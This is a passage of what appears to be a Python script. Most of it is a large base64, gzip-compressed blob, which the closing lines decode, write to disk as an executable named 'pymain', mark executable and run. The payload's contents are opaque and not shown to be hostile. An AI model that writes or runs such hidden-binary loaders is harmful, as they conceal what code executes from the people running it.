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'
bin = gzip.decompress(base64.b64decode(gz))
pymain = os.path.join(os.path.dirname(__file__), 'pymain')
with open(pymain, 'wb') as f:
    f.write(bin)
os.chmod(pymain, stat.S_IXUSR | stat.S_IXGRP)
cmd = pymain
subprocess.call(cmd.split())